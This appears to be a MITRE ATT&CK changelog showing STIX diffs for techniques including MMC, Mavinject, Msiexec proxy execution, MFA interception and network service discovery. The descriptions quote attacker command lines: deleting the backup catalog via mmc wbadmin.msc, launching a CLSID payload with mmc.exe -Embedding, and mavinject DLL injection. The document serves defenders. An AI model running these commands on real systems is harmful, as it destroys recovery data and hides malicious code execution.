| x_mitre_data_sources[0] | File: File Creation | Command: Command Execution |
| x_mitre_data_sources[1] | File: File Modification | Process: Process Creation |
| x_mitre_data_sources[2] | Process: Process Creation | File: File Modification |
| x_mitre_data_sources[3] | Command: Command Execution | File: File Creation |
| x_mitre_version | 1.0 | 2.0 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Wardle Persistence Chapter', 'description': 'Patrick Wardle. (n.d.). Chapter 0x2: Persistence. Retrieved April 13, 2022.', 'url': 'https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf'} |
| external_references | | {'source_name': 'S1 macOs Persistence', 'description': 'Stokes, P. (2019, July 17). How Malware Persists on macOS. Retrieved March 27, 2020.', 'url': 'https://www.sentinelone.com/blog/how-malware-persists-on-macos/'} |
[T1218.014] System Binary Proxy Execution: MMC
Current version: 2.0
Version changed from: 1.0 → 2.0
|
|
|---|
| t | Adversaries may abuse mmc.exe to proxy execution of maliciou | t | Adversaries may abuse mmc.exe to proxy execution of maliciou |
| s .msc files. Microsoft Management Console, or MMC, is a sig | | s .msc files. Microsoft Management Console (MMC) is a binary |
| ned Windows binary and is used in several ways in either its | | that may be signed by Microsoft and is used in several ways |
| GUI or in a command prompt.(Citation: win_mmc)(Citation: wh | | in either its GUI or in a command prompt.(Citation: win_mmc |
| at_is_mmc) MMC can be used to create, open, and save custom | | )(Citation: what_is_mmc) MMC can be used to create, open, an |
| consoles that contain administrative tools created by Micros | | d save custom consoles that contain administrative tools cre |
| oft, called snap-ins. These snap-ins may be used to manage W | | ated by Microsoft, called snap-ins. These snap-ins may be us |
| indows systems locally or remotely. MMC can also be used to | | ed to manage Windows systems locally or remotely. MMC can al |
| open Microsoft created .msc files to manage system configura | | so be used to open Microsoft created .msc files to manage sy |
| tion.(Citation: win_msc_files_overview) For example, <code> | | stem configuration.(Citation: win_msc_files_overview) For e |
| mmc C:\Users\foo\admintools.msc /a</code> will open a custom | | xample, <code>mmc C:\Users\foo\admintools.msc /a</code> will |
| , saved console msc file in author mode.(Citation: win_mmc) | | open a custom, saved console msc file in author mode.(Citat |
| Another common example is <code>mmc gpedit.msc</code>, which | | ion: win_mmc) Another common example is <code>mmc gpedit.msc |
| will open the Group Policy Editor application window. Adv | | </code>, which will open the Group Policy Editor application |
| ersaries may use MMC commands to perform malicious tasks. Fo | | window. Adversaries may use MMC commands to perform malic |
| r example, <code>mmc wbadmin.msc delete catalog -quiet</code | | ious tasks. For example, <code>mmc wbadmin.msc delete catalo |
| > deletes the backup catalog on the system (i.e. [Inhibit Sy | | g -quiet</code> deletes the backup catalog on the system (i. |
| stem Recovery](https://attack.mitre.org/techniques/T1490)) w | | e. [Inhibit System Recovery](https://attack.mitre.org/techni |
| ithout prompts to the user (Note: <code>wbadmin.msc</code> m | | ques/T1490)) without prompts to the user (Note: <code>wbadmi |
| ay only be present by default on Windows Server operating sy | | n.msc</code> may only be present by default on Windows Serve |
| stems).(Citation: win_wbadmin_delete_catalog)(Citation: phob | | r operating systems).(Citation: win_wbadmin_delete_catalog)( |
| os_virustotal) Adversaries may also abuse MMC to execute ma | | Citation: phobos_virustotal) Adversaries may also abuse MMC |
| licious .msc files. For example, adversaries may first creat | | to execute malicious .msc files. For example, adversaries m |
| e a malicious registry Class Identifier (CLSID) subkey, whic | | ay first create a malicious registry Class Identifier (CLSID |
| h uniquely identifies a [Component Object Model](https://att | | ) subkey, which uniquely identifies a [Component Object Mode |
| ack.mitre.org/techniques/T1559/001) class object.(Citation: | | l](https://attack.mitre.org/techniques/T1559/001) class obje |
| win_clsid_key) Then, adversaries may create custom consoles | | ct.(Citation: win_clsid_key) Then, adversaries may create cu |
| with the “Link to Web Address” snap-in that is linked to the | | stom consoles with the “Link to Web Address” snap-in that is |
| malicious CLSID subkey.(Citation: mmc_vulns) Once the .msc | | linked to the malicious CLSID subkey.(Citation: mmc_vulns) |
| file is saved, adversaries may invoke the malicious CLSID pa | | Once the .msc file is saved, adversaries may invoke the mali |
| yload with the following command: <code>mmc.exe -Embedding C | | cious CLSID payload with the following command: <code>mmc.ex |
| :\path\to\test.msc</code>.(Citation: abusing_com_reg) | | e -Embedding C:\path\to\test.msc</code>.(Citation: abusing_c |
| | | om_reg) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-16 00:13:18.889000+00:00 | 2022-03-11 19:04:18.732000+00:00 |
| description | Adversaries may abuse mmc.exe to proxy execution of malicious .msc files. Microsoft Management Console, or MMC, is a signed Windows binary and is used in several ways in either its GUI or in a command prompt.(Citation: win_mmc)(Citation: what_is_mmc) MMC can be used to create, open, and save custom consoles that contain administrative tools created by Microsoft, called snap-ins. These snap-ins may be used to manage Windows systems locally or remotely. MMC can also be used to open Microsoft created .msc files to manage system configuration.(Citation: win_msc_files_overview)
For example, mmc C:\Users\foo\admintools.msc /a will open a custom, saved console msc file in author mode.(Citation: win_mmc) Another common example is mmc gpedit.msc, which will open the Group Policy Editor application window.
Adversaries may use MMC commands to perform malicious tasks. For example, mmc wbadmin.msc delete catalog -quiet deletes the backup catalog on the system (i.e. [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)) without prompts to the user (Note: wbadmin.msc may only be present by default on Windows Server operating systems).(Citation: win_wbadmin_delete_catalog)(Citation: phobos_virustotal)
Adversaries may also abuse MMC to execute malicious .msc files. For example, adversaries may first create a malicious registry Class Identifier (CLSID) subkey, which uniquely identifies a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) class object.(Citation: win_clsid_key) Then, adversaries may create custom consoles with the “Link to Web Address” snap-in that is linked to the malicious CLSID subkey.(Citation: mmc_vulns) Once the .msc file is saved, adversaries may invoke the malicious CLSID payload with the following command: mmc.exe -Embedding C:\path\to\test.msc.(Citation: abusing_com_reg) | Adversaries may abuse mmc.exe to proxy execution of malicious .msc files. Microsoft Management Console (MMC) is a binary that may be signed by Microsoft and is used in several ways in either its GUI or in a command prompt.(Citation: win_mmc)(Citation: what_is_mmc) MMC can be used to create, open, and save custom consoles that contain administrative tools created by Microsoft, called snap-ins. These snap-ins may be used to manage Windows systems locally or remotely. MMC can also be used to open Microsoft created .msc files to manage system configuration.(Citation: win_msc_files_overview)
For example, mmc C:\Users\foo\admintools.msc /a will open a custom, saved console msc file in author mode.(Citation: win_mmc) Another common example is mmc gpedit.msc, which will open the Group Policy Editor application window.
Adversaries may use MMC commands to perform malicious tasks. For example, mmc wbadmin.msc delete catalog -quiet deletes the backup catalog on the system (i.e. [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)) without prompts to the user (Note: wbadmin.msc may only be present by default on Windows Server operating systems).(Citation: win_wbadmin_delete_catalog)(Citation: phobos_virustotal)
Adversaries may also abuse MMC to execute malicious .msc files. For example, adversaries may first create a malicious registry Class Identifier (CLSID) subkey, which uniquely identifies a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) class object.(Citation: win_clsid_key) Then, adversaries may create custom consoles with the “Link to Web Address” snap-in that is linked to the malicious CLSID subkey.(Citation: mmc_vulns) Once the .msc file is saved, adversaries may invoke the malicious CLSID payload with the following command: mmc.exe -Embedding C:\path\to\test.msc.(Citation: abusing_com_reg) |
| x_mitre_version | 1.0 | 2.0 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | | Command: Command Execution |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | Command: Command Execution | |
[T1218.013] System Binary Proxy Execution: Mavinject
Current version: 2.0
Version changed from: 1.0 → 2.0
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|---|
| t | Adversaries may abuse mavinject.exe to proxy execution of ma | t | Adversaries may abuse mavinject.exe to proxy execution of ma |
| licious code. Mavinject.exe is the Microsoft Application Vir | | licious code. Mavinject.exe is the Microsoft Application Vir |
| tualization Injector, a Windows utility that can inject code | | tualization Injector, a Windows utility that can inject code |
| into external processes as part of Microsoft Application Vi | | into external processes as part of Microsoft Application Vi |
| rtualization (App-V).(Citation: LOLBAS Mavinject) Adversari | | rtualization (App-V).(Citation: LOLBAS Mavinject) Adversari |
| es may abuse mavinject.exe to inject malicious DLLs into run | | es may abuse mavinject.exe to inject malicious DLLs into run |
| ning processes (i.e. [Dynamic-link Library Injection](https: | | ning processes (i.e. [Dynamic-link Library Injection](https: |
| //attack.mitre.org/techniques/T1055/001)), allowing for arbi | | //attack.mitre.org/techniques/T1055/001)), allowing for arbi |
| trary code execution (ex. <code>C:\Windows\system32\mavinjec | | trary code execution (ex. <code>C:\Windows\system32\mavinjec |
| t.exe PID /INJECTRUNNING PATH_DLL</code>).(Citation: ATT Laz | | t.exe PID /INJECTRUNNING PATH_DLL</code>).(Citation: ATT Laz |
| arus TTP Evolution)(Citation: Reaqta Mavinject) Since mavinj | | arus TTP Evolution)(Citation: Reaqta Mavinject) Since mavinj |
| ect.exe is digitally signed by Microsoft, proxying execution | | ect.exe may be digitally signed by Microsoft, proxying execu |
| via this method may evade detection by security products be | | tion via this method may evade detection by security product |
| cause the execution is masked under a legitimate process. | | s because the execution is masked under a legitimate process |
| In addition to [Dynamic-link Library Injection](https://atta | | . In addition to [Dynamic-link Library Injection](https:// |
| ck.mitre.org/techniques/T1055/001), Mavinject.exe can also b | | attack.mitre.org/techniques/T1055/001), Mavinject.exe can al |
| e abused to perform import descriptor injection via its <co | | so be abused to perform import descriptor injection via its |
| de>/HMODULE</code> command-line parameter (ex. <code>mavinje | | <code>/HMODULE</code> command-line parameter (ex. <code>mav |
| ct.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER</co | | inject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER |
| de>). This command would inject an import table entry consis | | </code>). This command would inject an import table entry co |
| ting of the specified DLL into the module at the given base | | nsisting of the specified DLL into the module at the given b |
| address.(Citation: Mavinject Functionality Deconstructed) | | ase address.(Citation: Mavinject Functionality Deconstructed |
| | | ) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-14 22:11:03.446000+00:00 | 2022-04-19 17:35:08.315000+00:00 |
| description | Adversaries may abuse mavinject.exe to proxy execution of malicious code. Mavinject.exe is the Microsoft Application Virtualization Injector, a Windows utility that can inject code into external processes as part of Microsoft Application Virtualization (App-V).(Citation: LOLBAS Mavinject)
Adversaries may abuse mavinject.exe to inject malicious DLLs into running processes (i.e. [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001)), allowing for arbitrary code execution (ex. C:\Windows\system32\mavinject.exe PID /INJECTRUNNING PATH_DLL).(Citation: ATT Lazarus TTP Evolution)(Citation: Reaqta Mavinject) Since mavinject.exe is digitally signed by Microsoft, proxying execution via this method may evade detection by security products because the execution is masked under a legitimate process.
In addition to [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001), Mavinject.exe can also be abused to perform import descriptor injection via its /HMODULE command-line parameter (ex. mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER). This command would inject an import table entry consisting of the specified DLL into the module at the given base address.(Citation: Mavinject Functionality Deconstructed) | Adversaries may abuse mavinject.exe to proxy execution of malicious code. Mavinject.exe is the Microsoft Application Virtualization Injector, a Windows utility that can inject code into external processes as part of Microsoft Application Virtualization (App-V).(Citation: LOLBAS Mavinject)
Adversaries may abuse mavinject.exe to inject malicious DLLs into running processes (i.e. [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001)), allowing for arbitrary code execution (ex. C:\Windows\system32\mavinject.exe PID /INJECTRUNNING PATH_DLL).(Citation: ATT Lazarus TTP Evolution)(Citation: Reaqta Mavinject) Since mavinject.exe may be digitally signed by Microsoft, proxying execution via this method may evade detection by security products because the execution is masked under a legitimate process.
In addition to [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001), Mavinject.exe can also be abused to perform import descriptor injection via its /HMODULE command-line parameter (ex. mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER). This command would inject an import table entry consisting of the specified DLL into the module at the given base address.(Citation: Mavinject Functionality Deconstructed) |
| external_references[1]['source_name'] | LOLBAS Mavinject | ATT Lazarus TTP Evolution |
| external_references[1]['description'] | LOLBAS. (n.d.). Mavinject.exe. Retrieved September 22, 2021. | Fernando Martinez. (2021, July 6). Lazarus campaign TTPs and evolution. Retrieved September 22, 2021. |
| external_references[1]['url'] | https://lolbas-project.github.io/lolbas/Binaries/Mavinject/ | https://cybersecurity.att.com/blogs/labs-research/lazarus-campaign-ttps-and-evolution |
| external_references[2]['source_name'] | ATT Lazarus TTP Evolution | LOLBAS Mavinject |
| external_references[2]['description'] | Fernando Martinez. (2021, July 6). Lazarus campaign TTPs and evolution. Retrieved September 22, 2021. | LOLBAS. (n.d.). Mavinject.exe. Retrieved September 22, 2021. |
| external_references[2]['url'] | https://cybersecurity.att.com/blogs/labs-research/lazarus-campaign-ttps-and-evolution | https://lolbas-project.github.io/lolbas/Binaries/Mavinject/ |
| external_references[3]['source_name'] | Reaqta Mavinject | Mavinject Functionality Deconstructed |
| external_references[3]['description'] | Reaqta. (2017, December 16). From False Positive to True Positive: the story of Mavinject.exe, the Microsoft Injector. Retrieved September 22, 2021. | Matt Graeber. (2018, May 29). mavinject.exe Functionality Deconstructed. Retrieved September 22, 2021. |
| external_references[3]['url'] | https://reaqta.com/2017/12/mavinject-microsoft-injector/ | https://posts.specterops.io/mavinject-exe-functionality-deconstructed-c29ab2cf5c0e |
| external_references[4]['source_name'] | Mavinject Functionality Deconstructed | Reaqta Mavinject |
| external_references[4]['description'] | Matt Graeber. (2018, May 29). mavinject.exe Functionality Deconstructed. Retrieved September 22, 2021. | Reaqta. (2017, December 16). From False Positive to True Positive: the story of Mavinject.exe, the Microsoft Injector. Retrieved September 22, 2021. |
| external_references[4]['url'] | https://posts.specterops.io/mavinject-exe-functionality-deconstructed-c29ab2cf5c0e | https://reaqta.com/2017/12/mavinject-microsoft-injector/ |
| x_mitre_data_sources[0] | Process: Process Creation | Command: Command Execution |
| x_mitre_data_sources[1] | Command: Command Execution | Process: Process Creation |
| x_mitre_version | 1.0 | 2.0 |
[T1218.005] System Binary Proxy Execution: Mshta
Current version: 2.0
Version changed from: 1.1 → 2.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-15 23:59:00.395000+00:00 | 2022-03-11 20:38:28.802000+00:00 |
| external_references[1]['description'] | Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017. | Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021. |
| external_references[1]['url'] | https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf | https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf |
| x_mitre_data_sources[2] | Command: Command Execution | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[3] | Network Traffic: Network Connection Creation | Command: Command Execution |
| x_mitre_version | 1.1 | 2.0 |
[T1218.007] System Binary Proxy Execution: Msiexec
Current version: 2.0
Version changed from: 1.1 → 2.0
|
|
|---|
| t | Adversaries may abuse msiexec.exe to proxy execution of mali | t | Adversaries may abuse msiexec.exe to proxy execution of mali |
| cious payloads. Msiexec.exe is the command-line utility for | | cious payloads. Msiexec.exe is the command-line utility for |
| the Windows Installer and is thus commonly associated with e | | the Windows Installer and is thus commonly associated with e |
| xecuting installation packages (.msi).(Citation: Microsoft m | | xecuting installation packages (.msi).(Citation: Microsoft m |
| siexec) Msiexec.exe is digitally signed by Microsoft. Adver | | siexec) The Msiexec.exe binary may also be digitally signed |
| saries may abuse msiexec.exe to launch local or network acce | | by Microsoft. Adversaries may abuse msiexec.exe to launch l |
| ssible MSI files. Msiexec.exe can also execute DLLs.(Citatio | | ocal or network accessible MSI files. Msiexec.exe can also e |
| n: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Si | | xecute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro |
| nce it is signed and native on Windows systems, msiexec.exe | | Msiexec Feb 2018) Since it may be signed and native on Windo |
| can be used to bypass application control solutions that do | | ws systems, msiexec.exe can be used to bypass application co |
| not account for its potential abuse. Msiexec.exe execution m | | ntrol solutions that do not account for its potential abuse. |
| ay also be elevated to SYSTEM privileges if the <code>Always | | Msiexec.exe execution may also be elevated to SYSTEM privil |
| InstallElevated</code> policy is enabled.(Citation: Microsof | | eges if the <code>AlwaysInstallElevated</code> policy is ena |
| t AlwaysInstallElevated 2018) | | bled.(Citation: Microsoft AlwaysInstallElevated 2018) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-06-07 19:57:26.824000+00:00 | 2022-04-19 17:33:16.346000+00:00 |
| description | Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) Msiexec.exe is digitally signed by Microsoft.
Adversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it is signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the AlwaysInstallElevated policy is enabled.(Citation: Microsoft AlwaysInstallElevated 2018) | Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) The Msiexec.exe binary may also be digitally signed by Microsoft.
Adversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it may be signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the AlwaysInstallElevated policy is enabled.(Citation: Microsoft AlwaysInstallElevated 2018) |
| external_references[1]['source_name'] | Microsoft msiexec | TrendMicro Msiexec Feb 2018 |
| external_references[1]['description'] | Microsoft. (2017, October 15). msiexec. Retrieved January 24, 2020. | Co, M. and Sison, G. (2018, February 8). Attack Using Windows Installer msiexec.exe leads to LokiBot. Retrieved April 18, 2019. |
| external_references[1]['url'] | https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec | https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/ |
| external_references[3]['source_name'] | TrendMicro Msiexec Feb 2018 | Microsoft msiexec |
| external_references[3]['description'] | Co, M. and Sison, G. (2018, February 8). Attack Using Windows Installer msiexec.exe leads to LokiBot. Retrieved April 18, 2019. | Microsoft. (2017, October 15). msiexec. Retrieved January 24, 2020. |
| external_references[3]['url'] | https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/ | https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec |
| x_mitre_data_sources[0] | Process: Process Creation | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[3] | Network Traffic: Network Connection Creation | Process: Process Creation |
| x_mitre_version | 1.1 | 2.0 |
[T1111] Multi-Factor Authentication Interception
Current version: 2.0
Version changed from: 1.1 → 2.0
|
|
|---|
| t | Adversaries may target two-factor authentication mechanisms, | t | Adversaries may target multi-factor authentication (MFA) mec |
| such as smart cards, to gain access to credentials that can | | hanisms, (I.e., smart cards, token generators, etc.) to gain |
| be used to access systems, services, and network resources. | | access to credentials that can be used to access systems, s |
| Use of two or multi-factor authentication (2FA or MFA) is r | | ervices, and network resources. Use of MFA is recommended an |
| ecommended and provides a higher level of security than user | | d provides a higher level of security than user names and pa |
| names and passwords alone, but organizations should be awar | | sswords alone, but organizations should be aware of techniqu |
| e of techniques that could be used to intercept and bypass t | | es that could be used to intercept and bypass these security |
| hese security mechanisms. If a smart card is used for two- | | mechanisms. If a smart card is used for multi-factor auth |
| factor authentication, then a keylogger will need to be used | | entication, then a keylogger will need to be used to obtain |
| to obtain the password associated with a smart card during | | the password associated with a smart card during normal use. |
| normal use. With both an inserted card and access to the sma | | With both an inserted card and access to the smart card pas |
| rt card password, an adversary can connect to a network reso | | sword, an adversary can connect to a network resource using |
| urce using the infected system to proxy the authentication w | | the infected system to proxy the authentication with the ins |
| ith the inserted hardware token. (Citation: Mandiant M Trend | | erted hardware token. (Citation: Mandiant M Trends 2011) Ad |
| s 2011) Adversaries may also employ a keylogger to similarl | | versaries may also employ a keylogger to similarly target ot |
| y target other hardware tokens, such as RSA SecurID. Capturi | | her hardware tokens, such as RSA SecurID. Capturing token in |
| ng token input (including a user's personal identification c | | put (including a user's personal identification code) may pr |
| ode) may provide temporary access (i.e. replay the one-time | | ovide temporary access (i.e. replay the one-time passcode un |
| passcode until the next value rollover) as well as possibly | | til the next value rollover) as well as possibly enabling ad |
| enabling adversaries to reliably predict future authenticati | | versaries to reliably predict future authentication values ( |
| on values (given access to both the algorithm and any seed v | | given access to both the algorithm and any seed values used |
| alues used to generate appended temporary codes). (Citation: | | to generate appended temporary codes). (Citation: GCN RSA Ju |
| GCN RSA June 2011) Other methods of 2FA may be intercepted | | ne 2011) Other methods of MFA may be intercepted and used b |
| and used by an adversary to authenticate. It is common for | | y an adversary to authenticate. It is common for one-time co |
| one-time codes to be sent via out-of-band communications (em | | des to be sent via out-of-band communications (email, SMS). |
| ail, SMS). If the device and/or service is not secured, then | | If the device and/or service is not secured, then it may be |
| it may be vulnerable to interception. Although primarily fo | | vulnerable to interception. Although primarily focused on by |
| cused on by cyber criminals, these authentication mechanisms | | cyber criminals, these authentication mechanisms have been |
| have been targeted by advanced actors. (Citation: Operation | | targeted by advanced actors. (Citation: Operation Emmental) |
| Emmental) | | |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_is_subtechnique | False | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-25 20:35:21.672000+00:00 | 2022-04-01 18:02:50.531000+00:00 |
| name | Two-Factor Authentication Interception | Multi-Factor Authentication Interception |
| description | Adversaries may target two-factor authentication mechanisms, such as smart cards, to gain access to credentials that can be used to access systems, services, and network resources. Use of two or multi-factor authentication (2FA or MFA) is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms.
If a smart card is used for two-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)
Adversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011)
Other methods of 2FA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors. (Citation: Operation Emmental) | Adversaries may target multi-factor authentication (MFA) mechanisms, (I.e., smart cards, token generators, etc.) to gain access to credentials that can be used to access systems, services, and network resources. Use of MFA is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms.
If a smart card is used for multi-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)
Adversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011)
Other methods of MFA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors. (Citation: Operation Emmental) |
| x_mitre_version | 1.1 | 2.0 |
[T1046] Network Service Discovery
Current version: 3.0
Version changed from: 2.2 → 3.0
|
|
|---|
| t | Adversaries may attempt to get a listing of services running | t | Adversaries may attempt to get a listing of services running |
| on remote hosts, including those that may be vulnerable to | | on remote hosts and local network infrastructure devices, i |
| remote software exploitation. Methods to acquire this inform | | ncluding those that may be vulnerable to remote software exp |
| ation include port scans and vulnerability scans using tools | | loitation. Common methods to acquire this information includ |
| that are brought onto a system. Within cloud environments | | e port and/or vulnerability scans using tools that are broug |
| , adversaries may attempt to discover services running on ot | | ht onto a system.(Citation: CISA AR21-126A FIVEHANDS May 202 |
| her cloud hosts. Additionally, if the cloud environment is c | | 1) Within cloud environments, adversaries may attempt to |
| onnected to a on-premises environment, adversaries may be ab | | discover services running on other cloud hosts. Additionall |
| le to identify services running on non-cloud systems as well | | y, if the cloud environment is connected to a on-premises en |
| . | | vironment, adversaries may be able to identify services runn |
| | | ing on non-cloud systems as well. Within macOS environments |
| | | , adversaries may use the native Bonjour application to disc |
| | | over services running on other macOS hosts within a network. |
| | | The Bonjour mDNSResponder daemon automatically registers an |
| | | d advertises a host’s registered services on the network. Fo |
| | | r example, adversaries can use a mDNS query (such as <code>d |
| | | ns-sd -B _ssh._tcp .</code>) to find other systems broadcast |
| | | ing the ssh service.(Citation: apple doco bonjour descriptio |
| | | n)(Citation: macOS APT Activity Bradley) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| external_references | | Apple Inc. (2013, April 23). Bonjour Overview. Retrieved October 11, 2021. |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['Administrator', 'SYSTEM', 'User'] | |
| external_references | CAPEC-300 | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-09 14:56:26.562000+00:00 | 2022-04-20 16:05:30.960000+00:00 |
| name | Network Service Scanning | Network Service Discovery |
| description | Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans using tools that are brought onto a system.
Within cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems as well. | Adversaries may attempt to get a listing of services running on remote hosts and local network infrastructure devices, including those that may be vulnerable to remote software exploitation. Common methods to acquire this information include port and/or vulnerability scans using tools that are brought onto a system.(Citation: CISA AR21-126A FIVEHANDS May 2021)
Within cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems as well.
Within macOS environments, adversaries may use the native Bonjour application to discover services running on other macOS hosts within a network. The Bonjour mDNSResponder daemon automatically registers and advertises a host’s registered services on the network. For example, adversaries can use a mDNS query (such as dns-sd -B _ssh._tcp .) to find other systems broadcasting the ssh service.(Citation: apple doco bonjour description)(Citation: macOS APT Activity Bradley) |
| external_references[1]['source_name'] | capec | apple doco bonjour description |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/300.html | https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/NetServices/Introduction.html |
| x_mitre_version | 2.2 | 3.0 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'CISA AR21-126A FIVEHANDS May 2021', 'description': 'CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021.', 'url': 'https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a'} |
| external_references | | {'source_name': 'macOS APT Activity Bradley', 'description': 'Jaron Bradley. (2021, November 14). What does APT Activity Look Like on macOS?. Retrieved January 19, 2022.', 'url': 'https://themittenmac.com/what-does-apt-activity-look-like-on-macos/'} |
| external_references | | {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/300.html', 'external_id': 'CAPEC-300'} |
